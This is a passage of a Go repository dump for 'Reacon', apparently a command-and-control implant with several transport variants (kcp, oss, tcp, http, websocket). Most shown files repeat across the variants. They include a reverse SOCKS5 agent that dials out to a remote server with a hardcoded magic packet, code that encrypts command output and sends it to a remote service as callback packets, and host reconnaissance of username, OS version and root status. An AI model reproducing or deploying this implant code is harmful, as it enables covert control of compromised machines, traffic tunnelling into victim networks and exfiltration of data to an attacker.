as.FQDN = ATYPDomain, host 59 | } 60 | return 61 | } 62 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/services/proxy/statute/addr.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "strconv" 7 | ) 8 | 9 | // AddrSpec is used to return the target AddrSpec 10 | // which may be specified as IPv4, IPv6, or a FQDN 11 | type AddrSpec struct { 12 | FQDN string 13 | IP net.IP 14 | Port int 15 | // private stuff set when Request parsed 16 | AddrType byte 17 | } 18 | 19 | // String returns a string suitable to dial; prefer returning IP-based 20 | // address, fallback to FQDN 21 | func (sf *AddrSpec) String() string { 22 | if len(sf.IP) != 0 { 23 | return net.JoinHostPort(sf.IP.String(), strconv.Itoa(sf.Port)) 24 | } 25 | return net.JoinHostPort(sf.FQDN, strconv.Itoa(sf.Port)) 26 | } 27 | 28 | // Address returns a string which may be specified 29 | // if IPv4/IPv6 will return < ip:port > 30 | // if FQDN will return < domain ip:port > 31 | // Note: do not used to dial, Please use String 32 | func (sf AddrSpec) Address() string { 33 | if sf.FQDN != "" { 34 | return fmt.Sprintf("%s (%s):%d", sf.FQDN, sf.IP, sf.Port) 35 | } 36 | return fmt.Sprintf("%s:%d", sf.IP, sf.Port) 37 | } 38 | 39 | // ParseAddrSpec parse addr(host:port) to the AddrSpec address 40 | func ParseAddrSpec(addr string) (as AddrSpec, err error) { 41 | var host, port string 42 | 43 | host, port, err = net.SplitHostPort(addr) 44 | if err != nil { 45 | return 46 | } 47 | as.Port, err = strconv.Atoi(port) 48 | if err != nil { 49 | return 50 | } 51 | 52 | ip := net.ParseIP(host) 53 | if ip4 := ip.To4(); ip4 != nil { 54 | as.AddrType, as.IP = ATYPIPv4, ip 55 | } else if ip6 := ip.To16(); ip6 != nil { 56 | as.AddrType, as.IP = ATYPIPv6, ip 57 | } else { 58 | as.AddrType, as.FQDN = ATYPDomain, host 59 | } 60 | return 61 | } 62 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/communication/communication.go: -------------------------------------------------------------------------------- 1 | package communication 2 | 3 | import ( 4 | "Reacon/pkg/encrypt" 5 | "Reacon/pkg/utils" 6 | "bytes" 7 | "encoding/binary" 8 | "fmt" 9 | "sync" 10 | "time" 11 | ) 12 | 13 | func ErrorProcess(err error) { 14 | errMsgBytes := []byte(err.Error()) 15 | result := errMsgBytes 16 | fmt.Println(err) 17 | criticalSection(31, result) 18 | } 19 | 20 | func DataProcess(callbackType int, b []byte) { 21 | result := b 22 | var err error 23 | if callbackType == 0 { 24 | result, err = utils.CodepageToUTF8(b) 25 | if err != nil { 26 | ErrorProcess(err) 27 | } 28 | } 29 | criticalSection(callbackType, result) 30 | } 31 | 32 | var mutex sync.Mutex 33 | 34 | func criticalSection(callbackType int, b []byte) { 35 | mutex.Lock() 36 | 37 | finalPaket := MakePacket(callbackType, b) 38 | finalPaket, _ = encrypt.Encrypt(finalPaket) 39 | finalPaket, _ = encrypt.EncodeBase64(finalPaket) 40 | 41 | MetaLen := len(utils.MetaInfo) 42 | MetaLenBytes := utils.WriteInt(MetaLen) 43 | 44 | msg := utils.BytesCombine(MetaLenBytes, utils.MetaInfo, finalPaket) 45 | normalDataInt := 2 46 | normalDataBytes := utils.WriteInt(normalDataInt) 47 | msgToSend := utils.BytesCombine(normalDataBytes, msg) 48 | 49 | Send(Service, utils.Uid+fmt.Sprintf("/client_%020d", time.Now().UnixNano()), msgToSend) 50 | mutex.Unlock() 51 | } 52 | 53 | // replyType(4) | result 并加密 54 | func MakePacket(replyType int, b []byte) []byte { 55 | buf := new(bytes.Buffer) 56 | 57 | replyTypeBytes := make([]byte, 4) 58 | binary.BigEndian.PutUint32(replyTypeBytes, uint32(replyType)) 59 | buf.Write(replyTypeBytes) 60 | 61 | buf.Write(b) 62 | 63 | encrypted, err := encrypt.Encrypt(buf.Bytes()) 64 | if err != nil { 65 | return nil 66 | } 67 | 68 | buf.Reset() 69 | 70 | buf.Write(encrypted) 71 | 72 | return buf.Bytes() 73 | 74 | } 75 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/services/proxy/socks5.go: -------------------------------------------------------------------------------- 1 | package Proxy 2 | 3 | import ( 4 | "Reacon/pkg/services/proxy/bufferpool" 5 | "Reacon/pkg/services/proxy/mux" 6 | "crypto/tls" 7 | "log" 8 | "math" 9 | "net" 10 | ) 11 | 12 | var ( 13 | bufferPool = bufferpool.NewPool(math.MaxUint16) 14 | magicPacket = [64]byte{ 15 | 0x6a, 0x1d, 0x3e, 0x74, 0x8b, 0x99, 0x5a, 0x7f, 16 | 0xca, 0xef, 0x33, 0x88, 0xac, 0x44, 0x52, 0xbd, 17 | 0x1e, 0x5f, 0x39, 0xd4, 0x6c, 0xb3, 0x72, 0xf8, 18 | 0x21, 0x9d, 0x54, 0x68, 0x91, 0xab, 0x43, 0xee, 19 | 0x4c, 0x7a, 0x90, 0x26, 0xf7, 0x35, 0x9b, 0x5e, 20 | 0xd1, 0x88, 0x4f, 0xbc, 0x2a, 0x67, 0x91, 0xe4, 21 | 0xaf, 0x34, 0xcd, 0x89, 0x60, 0x18, 0xa2, 0xde, 22 | 0x77, 0x93, 0xfb, 0x02, 0x6e, 0x11, 0xc3, 0xf0, 23 | } 24 | ) 25 | var Session *mux.Mux 26 | 27 | // Start a socks5 server and tunnel the traffic to the server at address. 28 | func ReverseSocksAgent(serverAddress, psk string, useTLS bool) { 29 | log.Println("Connecting to socks server at " + serverAddress) 30 | 31 | var conn net.Conn 32 | var err error 33 | 34 | if useTLS { 35 | conn, err = tls.Dial("tcp", serverAddress, nil) 36 | } else { 37 | conn, err = net.Dial("tcp", serverAddress) 38 | } 39 | 40 | if err != nil { 41 | log.Fatalln(err.Error()) 42 | } 43 | 44 | //1. 先发送magicPacket 45 | 46 | _, err = conn.Write(magicPacket[:]) 47 | if err != nil { 48 | log.Fatalln(err.Error()) 49 | } 50 | 51 | log.Println("Connected") 52 | 53 | // 多路复用的一个mux 54 | Session = mux.Server(conn, psk) 55 | 56 | for { 57 | stream, err := Session.AcceptStream() 58 | if err != nil { 59 | log.Println(err.Error()) 60 | break 61 | } 62 | go func() { 63 | // Note ServeConn() will take overship of stream and close it. 64 | if err := ServeConn(stream); err != nil && err != mux.ErrPeerClosedStream { 65 | log.Println(err.Error()) 66 | } 67 | }() 68 | } 69 | 70 | Session.Close() 71 | } 72 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/services/proxy/socks5.go: -------------------------------------------------------------------------------- 1 | package Proxy 2 | 3 | import ( 4 | "Reacon/pkg/services/proxy/bufferpool" 5 | "Reacon/pkg/services/proxy/mux" 6 | "crypto/tls" 7 | "log" 8 | "math" 9 | "net" 10 | ) 11 | 12 | var ( 13 | bufferPool = bufferpool.NewPool(math.MaxUint16) 14 | magicPacket = [64]byte{ 15 | 0x6a, 0x1d, 0x3e, 0x74, 0x8b, 0x99, 0x5a, 0x7f, 16 | 0xca, 0xef, 0x33, 0x88, 0xac, 0x44, 0x52, 0xbd, 17 | 0x1e, 0x5f, 0x39, 0xd4, 0x6c, 0xb3, 0x72, 0xf8, 18 | 0x21, 0x9d, 0x54, 0x68, 0x91, 0xab, 0x43, 0xee, 19 | 0x4c, 0x7a, 0x90, 0x26, 0xf7, 0x35, 0x9b, 0x5e, 20 | 0xd1, 0x88, 0x4f, 0xbc, 0x2a, 0x67, 0x91, 0xe4, 21 | 0xaf, 0x34, 0xcd, 0x89, 0x60, 0x18, 0xa2, 0xde, 22 | 0x77, 0x93, 0xfb, 0x02, 0x6e, 0x11, 0xc3, 0xf0, 23 | } 24 | ) 25 | var Session *mux.Mux 26 | 27 | // Start a socks5 server and tunnel the traffic to the server at address. 28 | func ReverseSocksAgent(serverAddress, psk string, useTLS bool) { 29 | log.Println("Connecting to socks server at " + serverAddress) 30 | 31 | var conn net.Conn 32 | var err error 33 | 34 | if useTLS { 35 | conn, err = tls.Dial("tcp", serverAddress, nil) 36 | } else { 37 | conn, err = net.Dial("tcp", serverAddress) 38 | } 39 | 40 | if err != nil { 41 | log.Fatalln(err.Error()) 42 | } 43 | 44 | //1. 先发送magicPacket 45 | 46 | _, err = conn.Write(magicPacket[:]) 47 | if err != nil { 48 | log.Fatalln(err.Error()) 49 | } 50 | 51 | log.Println("Connected") 52 | 53 | // 多路复用的一个mux 54 | Session = mux.Server(conn, psk) 55 | 56 | for { 57 | stream, err := Session.AcceptStream() 58 | if err != nil { 59 | log.Println(err.Error()) 60 | break 61 | } 62 | go func() { 63 | // Note ServeConn() will take overship of stream and close it. 64 | if err := ServeConn(stream); err != nil && err != mux.ErrPeerClosedStream { 65 | log.Println(err.Error()) 66 | } 67 | }() 68 | } 69 | 70 | Session.Close() 71 | } 72 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/services/proxy/socks5.go: -------------------------------------------------------------------------------- 1 | package Proxy 2 | 3 | import ( 4 | "Reacon/pkg/services/proxy/bufferpool" 5 | "Reacon/pkg/services/proxy/mux" 6 | "crypto/tls" 7 | "log" 8 | "math" 9 | "net" 10 | ) 11 | 12 | var ( 13 | bufferPool = bufferpool.NewPool(math.MaxUint16) 14 | magicPacket = [64]byte{ 15 | 0x6a, 0x1d, 0x3e, 0x74, 0x8b, 0x99, 0x5a, 0x7f, 16 | 0xca, 0xef, 0x33, 0x88, 0xac, 0x44, 0x52, 0xbd, 17 | 0x1e, 0x5f, 0x39, 0xd4, 0x6c, 0xb3, 0x72, 0xf8, 18 | 0x21, 0x9d, 0x54, 0x68, 0x91, 0xab, 0x43, 0xee, 19 | 0x4c, 0x7a, 0x90, 0x26, 0xf7, 0x35, 0x9b, 0x5e, 20 | 0xd1, 0x88, 0x4f, 0xbc, 0x2a, 0x67, 0x91, 0xe4, 21 | 0xaf, 0x34, 0xcd, 0x89, 0x60, 0x18, 0xa2, 0xde, 22 | 0x77, 0x93, 0xfb, 0x02, 0x6e, 0x11, 0xc3, 0xf0, 23 | } 24 | ) 25 | var Session *mux.Mux 26 | 27 | // Start a socks5 server and tunnel the traffic to the server at address. 28 | func ReverseSocksAgent(serverAddress, psk string, useTLS bool) { 29 | log.Println("Connecting to socks server at " + serverAddress) 30 | 31 | var conn net.Conn 32 | var err error 33 | 34 | if useTLS { 35 | conn, err = tls.Dial("tcp", serverAddress, nil) 36 | } else { 37 | conn, err = net.Dial("tcp", serverAddress) 38 | } 39 | 40 | if err != nil { 41 | log.Fatalln(err.Error()) 42 | } 43 | 44 | //1. 先发送magicPacket 45 | 46 | _, err = conn.Write(magicPacket[:]) 47 | if err != nil { 48 | log.Fatalln(err.Error()) 49 | } 50 | 51 | log.Println("Connected") 52 | 53 | // 多路复用的一个mux 54 | Session = mux.Server(conn, psk) 55 | 56 | for { 57 | stream, err := Session.AcceptStream() 58 | if err != nil { 59 | log.Println(err.Error()) 60 | break 61 | } 62 | go func() { 63 | // Note ServeConn() will take overship of stream and close it. 64 | if err := ServeConn(stream); err != nil && err != mux.ErrPeerClosedStream { 65 | log.Println(err.Error()) 66 | } 67 | }() 68 | } 69 | 70 | Session.Close() 71 | } 72 | -------------------------------------------------------------------------------- /Reacon_http/pkg/services/proxy/socks5.go: -------------------------------------------------------------------------------- 1 | package Proxy 2 | 3 | import ( 4 | "Reacon/pkg/services/proxy/bufferpool" 5 | "Reacon/pkg/services/proxy/mux" 6 | "crypto/tls" 7 | "log" 8 | "math" 9 | "net" 10 | ) 11 | 12 | var ( 13 | bufferPool = bufferpool.NewPool(math.MaxUint16) 14 | magicPacket = [64]byte{ 15 | 0x6a, 0x1d, 0x3e, 0x74, 0x8b, 0x99, 0x5a, 0x7f, 16 | 0xca, 0xef, 0x33, 0x88, 0xac, 0x44, 0x52, 0xbd, 17 | 0x1e, 0x5f, 0x39, 0xd4, 0x6c, 0xb3, 0x72, 0xf8, 18 | 0x21, 0x9d, 0x54, 0x68, 0x91, 0xab, 0x43, 0xee, 19 | 0x4c, 0x7a, 0x90, 0x26, 0xf7, 0x35, 0x9b, 0x5e, 20 | 0xd1, 0x88, 0x4f, 0xbc, 0x2a, 0x67, 0x91, 0xe4, 21 | 0xaf, 0x34, 0xcd, 0x89, 0x60, 0x18, 0xa2, 0xde, 22 | 0x77, 0x93, 0xfb, 0x02, 0x6e, 0x11, 0xc3, 0xf0, 23 | } 24 | ) 25 | var Session *mux.Mux 26 | 27 | // Start a socks5 server and tunnel the traffic to the server at address. 28 | func ReverseSocksAgent(serverAddress, psk string, useTLS bool) { 29 | log.Println("Connecting to socks server at " + serverAddress) 30 | 31 | var conn net.Conn 32 | var err error 33 | 34 | if useTLS { 35 | conn, err = tls.Dial("tcp", serverAddress, nil) 36 | } else { 37 | conn, err = net.Dial("tcp", serverAddress) 38 | } 39 | 40 | if err != nil { 41 | log.Fatalln(err.Error()) 42 | } 43 | 44 | //1. 先发送magicPacket 45 | 46 | _, err = conn.Write(magicPacket[:]) 47 | if err != nil { 48 | log.Fatalln(err.Error()) 49 | } 50 | 51 | log.Println("Connected") 52 | 53 | // 多路复用的一个mux 54 | Session = mux.Server(conn, psk) 55 | 56 | for { 57 | stream, err := Session.AcceptStream() 58 | if err != nil { 59 | log.Println(err.Error()) 60 | break 61 | } 62 | go func() { 63 | // Note ServeConn() will take overship of stream and close it. 64 | if err := ServeConn(stream); err != nil && err != mux.ErrPeerClosedStream { 65 | log.Println(err.Error()) 66 | } 67 | }() 68 | } 69 | 70 | Session.Close() 71 | } 72 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/services/proxy/socks5.go: -------------------------------------------------------------------------------- 1 | package Proxy 2 | 3 | import ( 4 | "Reacon/pkg/services/proxy/bufferpool" 5 | "Reacon/pkg/services/proxy/mux" 6 | "crypto/tls" 7 | "log" 8 | "math" 9 | "net" 10 | ) 11 | 12 | var ( 13 | bufferPool = bufferpool.NewPool(math.MaxUint16) 14 | magicPacket = [64]byte{ 15 | 0x6a, 0x1d, 0x3e, 0x74, 0x8b, 0x99, 0x5a, 0x7f, 16 | 0xca, 0xef, 0x33, 0x88, 0xac, 0x44, 0x52, 0xbd, 17 | 0x1e, 0x5f, 0x39, 0xd4, 0x6c, 0xb3, 0x72, 0xf8, 18 | 0x21, 0x9d, 0x54, 0x68, 0x91, 0xab, 0x43, 0xee, 19 | 0x4c, 0x7a, 0x90, 0x26, 0xf7, 0x35, 0x9b, 0x5e, 20 | 0xd1, 0x88, 0x4f, 0xbc, 0x2a, 0x67, 0x91, 0xe4, 21 | 0xaf, 0x34, 0xcd, 0x89, 0x60, 0x18, 0xa2, 0xde, 22 | 0x77, 0x93, 0xfb, 0x02, 0x6e, 0x11, 0xc3, 0xf0, 23 | } 24 | ) 25 | var Session *mux.Mux 26 | 27 | // Start a socks5 server and tunnel the traffic to the server at address. 28 | func ReverseSocksAgent(serverAddress, psk string, useTLS bool) { 29 | log.Println("Connecting to socks server at " + serverAddress) 30 | 31 | var conn net.Conn 32 | var err error 33 | 34 | if useTLS { 35 | conn, err = tls.Dial("tcp", serverAddress, nil) 36 | } else { 37 | conn, err = net.Dial("tcp", serverAddress) 38 | } 39 | 40 | if err != nil { 41 | log.Fatalln(err.Error()) 42 | } 43 | 44 | //1. 先发送magicPacket 45 | 46 | _, err = conn.Write(magicPacket[:]) 47 | if err != nil { 48 | log.Fatalln(err.Error()) 49 | } 50 | 51 | log.Println("Connected") 52 | 53 | // 多路复用的一个mux 54 | Session = mux.Server(conn, psk) 55 | 56 | for { 57 | stream, err := Session.AcceptStream() 58 | if err != nil { 59 | log.Println(err.Error()) 60 | break 61 | } 62 | go func() { 63 | // Note ServeConn() will take overship of stream and close it. 64 | if err := ServeConn(stream); err != nil && err != mux.ErrPeerClosedStream { 65 | log.Println(err.Error()) 66 | } 67 | }() 68 | } 69 | 70 | //Session.Close() 71 | } 72 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/communication/communication.go: -------------------------------------------------------------------------------- 1 | package communication 2 | 3 | import ( 4 | "Reacon/pkg/encrypt" 5 | "Reacon/pkg/utils" 6 | "bytes" 7 | "encoding/binary" 8 | "fmt" 9 | "github.com/togettoyou/wsc" 10 | "sync" 11 | ) 12 | 13 | func ErrorProcess(err error) { 14 | errMsgBytes := []byte(err.Error()) 15 | result := errMsgBytes 16 | fmt.Println(err) 17 | criticalSection(31, result) 18 | } 19 | 20 | func DataProcess(callbackType int, b []byte) { 21 | result := b 22 | var err error 23 | if callbackType == 0 { 24 | result, err = utils.CodepageToUTF8(b) 25 | if err != nil { 26 | ErrorProcess(err) 27 | } 28 | } 29 | criticalSection(callbackType, result) 30 | } 31 | 32 | var mutex sync.Mutex 33 | 34 | func criticalSection(callbackType int, b []byte) { 35 | mutex.Lock() 36 | finalPaket := MakePacket(callbackType, b) 37 | finalPaket, _ = encrypt.Encrypt(finalPaket) 38 | finalPaket, _ = encrypt.EncodeBase64(finalPaket) 39 | 40 | MetaLen := len(utils.MetaInfo) 41 | MetaLenBytes := utils.WriteInt(MetaLen) 42 | 43 | msg := utils.BytesCombine(MetaLenBytes, utils.MetaInfo, finalPaket) 44 | 45 | normalDataInt := 2 46 | normalDataBytes := utils.WriteInt(normalDataInt) 47 | msgToSend := utils.BytesCombine(normalDataBytes, msg) 48 | 49 | SendData(utils.WebsocketClient, msgToSend) 50 | mutex.Unlock() 51 | } 52 | func SendData(connection *wsc.Wsc, data []byte) { 53 | connection.SendBinaryMessage(data) 54 | } 55 | 56 | // replyType(4) | result 并加密 57 | func MakePacket(replyType int, b []byte) []byte { 58 | buf := new(bytes.Buffer) 59 | 60 | replyTypeBytes := make([]byte, 4) 61 | binary.BigEndian.PutUint32(replyTypeBytes, uint32(replyType)) 62 | buf.Write(replyTypeBytes) 63 | 64 | buf.Write(b) 65 | 66 | encrypted, err := encrypt.Encrypt(buf.Bytes()) 67 | if err != nil { 68 | return nil 69 | } 70 | 71 | buf.Reset() 72 | 73 | buf.Write(encrypted) 74 | 75 | return buf.Bytes() 76 | 77 | } 78 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/services/proxy/statute/method.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "io" 5 | ) 6 | 7 | // MethodRequest is the negotiation method request packet 8 | // The SOCKS handshake method request is formed as follows: 9 | // 10 | // +-----+----------+---------------+ 11 | // | VER | NMETHODS | METHODS | 12 | // +-----+----------+---------------+ 13 | // | 1 | 1 | X'00' - X'FF' | 14 | // +-----+----------+---------------+ 15 | type MethodRequest struct { 16 | Ver byte 17 | NMethods byte 18 | Methods []byte // 1-255 bytes 19 | } 20 | 21 | // NewMethodRequest new negotiation method request 22 | func NewMethodRequest(ver byte, medthods []byte) MethodRequest { 23 | return MethodRequest{ 24 | ver, 25 | byte(len(medthods)), 26 | medthods, 27 | } 28 | } 29 | 30 | // ParseMethodRequest parse method request. 31 | func ParseMethodRequest(r io.Reader) (mr MethodRequest, err error) { 32 | // Read the version byte 33 | tmp := []byte{0} 34 | if _, err = r.Read(tmp); err != nil { 35 | return 36 | } 37 | mr.Ver = tmp[0] 38 | 39 | // Read number method 40 | if _, err = r.Read(tmp); err != nil { 41 | return 42 | } 43 | mr.NMethods, mr.Methods = tmp[0], make([]byte, tmp[0]) 44 | // read methods 45 | _, err = io.ReadAtLeast(r, mr.Methods, int(mr.NMethods)) 46 | return 47 | } 48 | 49 | // Bytes method request to bytes 50 | func (sf MethodRequest) Bytes() []byte { 51 | b := make([]byte, 0, 2+sf.NMethods) 52 | b = append(b, sf.Ver, sf.NMethods) 53 | b = append(b, sf.Methods...) 54 | return b 55 | } 56 | 57 | // MethodReply is the negotiation method reply packet 58 | // The SOCKS handshake method response is formed as follows: 59 | // 60 | // +-----+--------+ 61 | // | VER | METHOD | 62 | // +-----+--------+ 63 | // | 1 | 1 | 64 | // +-----+--------+ 65 | type MethodReply struct { 66 | Ver byte 67 | Method byte 68 | } 69 | 70 | // ParseMethodReply parse method reply. 71 | func ParseMethodReply(r io.Reader) (n MethodReply, err error) { 72 | bb := []byte{0, 0} 73 | if _, err = io.ReadFull(r, bb); err != nil { 74 | return 75 | } 76 | n.Ver, n.Method = bb[0], bb[1] 77 | return 78 | } 79 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/services/proxy/statute/method.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "io" 5 | ) 6 | 7 | // MethodRequest is the negotiation method request packet 8 | // The SOCKS handshake method request is formed as follows: 9 | // 10 | // +-----+----------+---------------+ 11 | // | VER | NMETHODS | METHODS | 12 | // +-----+----------+---------------+ 13 | // | 1 | 1 | X'00' - X'FF' | 14 | // +-----+----------+---------------+ 15 | type MethodRequest struct { 16 | Ver byte 17 | NMethods byte 18 | Methods []byte // 1-255 bytes 19 | } 20 | 21 | // NewMethodRequest new negotiation method request 22 | func NewMethodRequest(ver byte, medthods []byte) MethodRequest { 23 | return MethodRequest{ 24 | ver, 25 | byte(len(medthods)), 26 | medthods, 27 | } 28 | } 29 | 30 | // ParseMethodRequest parse method request. 31 | func ParseMethodRequest(r io.Reader) (mr MethodRequest, err error) { 32 | // Read the version byte 33 | tmp := []byte{0} 34 | if _, err = r.Read(tmp); err != nil { 35 | return 36 | } 37 | mr.Ver = tmp[0] 38 | 39 | // Read number method 40 | if _, err = r.Read(tmp); err != nil { 41 | return 42 | } 43 | mr.NMethods, mr.Methods = tmp[0], make([]byte, tmp[0]) 44 | // read methods 45 | _, err = io.ReadAtLeast(r, mr.Methods, int(mr.NMethods)) 46 | return 47 | } 48 | 49 | // Bytes method request to bytes 50 | func (sf MethodRequest) Bytes() []byte { 51 | b := make([]byte, 0, 2+sf.NMethods) 52 | b = append(b, sf.Ver, sf.NMethods) 53 | b = append(b, sf.Methods...) 54 | return b 55 | } 56 | 57 | // MethodReply is the negotiation method reply packet 58 | // The SOCKS handshake method response is formed as follows: 59 | // 60 | // +-----+--------+ 61 | // | VER | METHOD | 62 | // +-----+--------+ 63 | // | 1 | 1 | 64 | // +-----+--------+ 65 | type MethodReply struct { 66 | Ver byte 67 | Method byte 68 | } 69 | 70 | // ParseMethodReply parse method reply. 71 | func ParseMethodReply(r io.Reader) (n MethodReply, err error) { 72 | bb := []byte{0, 0} 73 | if _, err = io.ReadFull(r, bb); err != nil { 74 | return 75 | } 76 | n.Ver, n.Method = bb[0], bb[1] 77 | return 78 | } 79 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/services/proxy/statute/method.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "io" 5 | ) 6 | 7 | // MethodRequest is the negotiation method request packet 8 | // The SOCKS handshake method request is formed as follows: 9 | // 10 | // +-----+----------+---------------+ 11 | // | VER | NMETHODS | METHODS | 12 | // +-----+----------+---------------+ 13 | // | 1 | 1 | X'00' - X'FF' | 14 | // +-----+----------+---------------+ 15 | type MethodRequest struct { 16 | Ver byte 17 | NMethods byte 18 | Methods []byte // 1-255 bytes 19 | } 20 | 21 | // NewMethodRequest new negotiation method request 22 | func NewMethodRequest(ver byte, medthods []byte) MethodRequest { 23 | return MethodRequest{ 24 | ver, 25 | byte(len(medthods)), 26 | medthods, 27 | } 28 | } 29 | 30 | // ParseMethodRequest parse method request. 31 | func ParseMethodRequest(r io.Reader) (mr MethodRequest, err error) { 32 | // Read the version byte 33 | tmp := []byte{0} 34 | if _, err = r.Read(tmp); err != nil { 35 | return 36 | } 37 | mr.Ver = tmp[0] 38 | 39 | // Read number method 40 | if _, err = r.Read(tmp); err != nil { 41 | return 42 | } 43 | mr.NMethods, mr.Methods = tmp[0], make([]byte, tmp[0]) 44 | // read methods 45 | _, err = io.ReadAtLeast(r, mr.Methods, int(mr.NMethods)) 46 | return 47 | } 48 | 49 | // Bytes method request to bytes 50 | func (sf MethodRequest) Bytes() []byte { 51 | b := make([]byte, 0, 2+sf.NMethods) 52 | b = append(b, sf.Ver, sf.NMethods) 53 | b = append(b, sf.Methods...) 54 | return b 55 | } 56 | 57 | // MethodReply is the negotiation method reply packet 58 | // The SOCKS handshake method response is formed as follows: 59 | // 60 | // +-----+--------+ 61 | // | VER | METHOD | 62 | // +-----+--------+ 63 | // | 1 | 1 | 64 | // +-----+--------+ 65 | type MethodReply struct { 66 | Ver byte 67 | Method byte 68 | } 69 | 70 | // ParseMethodReply parse method reply. 71 | func ParseMethodReply(r io.Reader) (n MethodReply, err error) { 72 | bb := []byte{0, 0} 73 | if _, err = io.ReadFull(r, bb); err != nil { 74 | return 75 | } 76 | n.Ver, n.Method = bb[0], bb[1] 77 | return 78 | } 79 | -------------------------------------------------------------------------------- /Reacon_http/pkg/services/proxy/statute/method.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "io" 5 | ) 6 | 7 | // MethodRequest is the negotiation method request packet 8 | // The SOCKS handshake method request is formed as follows: 9 | // 10 | // +-----+----------+---------------+ 11 | // | VER | NMETHODS | METHODS | 12 | // +-----+----------+---------------+ 13 | // | 1 | 1 | X'00' - X'FF' | 14 | // +-----+----------+---------------+ 15 | type MethodRequest struct { 16 | Ver byte 17 | NMethods byte 18 | Methods []byte // 1-255 bytes 19 | } 20 | 21 | // NewMethodRequest new negotiation method request 22 | func NewMethodRequest(ver byte, medthods []byte) MethodRequest { 23 | return MethodRequest{ 24 | ver, 25 | byte(len(medthods)), 26 | medthods, 27 | } 28 | } 29 | 30 | // ParseMethodRequest parse method request. 31 | func ParseMethodRequest(r io.Reader) (mr MethodRequest, err error) { 32 | // Read the version byte 33 | tmp := []byte{0} 34 | if _, err = r.Read(tmp); err != nil { 35 | return 36 | } 37 | mr.Ver = tmp[0] 38 | 39 | // Read number method 40 | if _, err = r.Read(tmp); err != nil { 41 | return 42 | } 43 | mr.NMethods, mr.Methods = tmp[0], make([]byte, tmp[0]) 44 | // read methods 45 | _, err = io.ReadAtLeast(r, mr.Methods, int(mr.NMethods)) 46 | return 47 | } 48 | 49 | // Bytes method request to bytes 50 | func (sf MethodRequest) Bytes() []byte { 51 | b := make([]byte, 0, 2+sf.NMethods) 52 | b = append(b, sf.Ver, sf.NMethods) 53 | b = append(b, sf.Methods...) 54 | return b 55 | } 56 | 57 | // MethodReply is the negotiation method reply packet 58 | // The SOCKS handshake method response is formed as follows: 59 | // 60 | // +-----+--------+ 61 | // | VER | METHOD | 62 | // +-----+--------+ 63 | // | 1 | 1 | 64 | // +-----+--------+ 65 | type MethodReply struct { 66 | Ver byte 67 | Method byte 68 | } 69 | 70 | // ParseMethodReply parse method reply. 71 | func ParseMethodReply(r io.Reader) (n MethodReply, err error) { 72 | bb := []byte{0, 0} 73 | if _, err = io.ReadFull(r, bb); err != nil { 74 | return 75 | } 76 | n.Ver, n.Method = bb[0], bb[1] 77 | return 78 | } 79 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/sysinfo/sysinfo_linux.go: -------------------------------------------------------------------------------- 1 | //go:build linux && !arm 2 | 3 | package sysinfo 4 | 5 | import ( 6 | "encoding/binary" 7 | "errors" 8 | "fmt" 9 | "os" 10 | "os/user" 11 | "strings" 12 | "syscall" 13 | ) 14 | 15 | func arrayToString(x [65]int8) string { 16 | var buf [65]byte 17 | for i, b := range x { 18 | buf[i] = byte(b) 19 | } 20 | str := string(buf[:]) 21 | if i := strings.Index(str, "\x00"); i != -1 { 22 | str = str[:i] 23 | } 24 | return str 25 | } 26 | 27 | func getUname() syscall.Utsname { 28 | var uname syscall.Utsname 29 | if err := syscall.Uname(&uname); err != nil { 30 | fmt.Printf("Uname: %v", err) 31 | return syscall.Utsname{} //nil 32 | } 33 | return uname 34 | } 35 | 36 | func GetOSVersion() (string, error) { 37 | uname := getUname() 38 | 39 | if len(uname.Release) > 0 { 40 | return arrayToString(uname.Release), nil 41 | } 42 | return "0.0", errors.New("Something wrong") 43 | } 44 | 45 | func IsHighPriv() bool { 46 | if os.Getuid() == 0 { 47 | return true 48 | } 49 | return false 50 | } 51 | 52 | func IsOSX64() (bool, error) { 53 | uname := getUname() 54 | if arrayToString(uname.Machine) == "x86_64" { 55 | return true, nil 56 | } 57 | return false, nil 58 | } 59 | 60 | func GetCodePageANSI() ([]byte, error) { 61 | //linux also use utf8 as default 62 | b := make([]byte, 2) 63 | binary.LittleEndian.PutUint16(b, 65001) 64 | return b, nil 65 | } 66 | 67 | func GetCodePageOEM() ([]byte, error) { 68 | b := make([]byte, 2) 69 | binary.LittleEndian.PutUint16(b, 65001) 70 | return b, nil 71 | } 72 | 73 | func GetUsername() (string, error) { 74 | user, err := user.Current() 75 | if err != nil { 76 | return "", nil 77 | } 78 | usr := user.Username 79 | return usr, nil 80 | } 81 | 82 | func IsPidX64(pid uint32) (bool, error) { 83 | /*is64 := false 84 | 85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid) 86 | if err != nil { 87 | return IsProcessX64() 88 | } 89 | 90 | _ = windows.IsWow64Process(hProcess, &is64)*/ 91 | 92 | return true, nil 93 | } 94 | 95 | // return 0 96 | func GetProcessSessionId(pid int32) uint32 { 97 | return 0 98 | } 99 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/sysinfo/sysinfo_linux.go: -------------------------------------------------------------------------------- 1 | //go:build linux && !arm 2 | 3 | package sysinfo 4 | 5 | import ( 6 | "encoding/binary" 7 | "errors" 8 | "fmt" 9 | "os" 10 | "os/user" 11 | "strings" 12 | "syscall" 13 | ) 14 | 15 | func arrayToString(x [65]int8) string { 16 | var buf [65]byte 17 | for i, b := range x { 18 | buf[i] = byte(b) 19 | } 20 | str := string(buf[:]) 21 | if i := strings.Index(str, "\x00"); i != -1 { 22 | str = str[:i] 23 | } 24 | return str 25 | } 26 | 27 | func getUname() syscall.Utsname { 28 | var uname syscall.Utsname 29 | if err := syscall.Uname(&uname); err != nil { 30 | 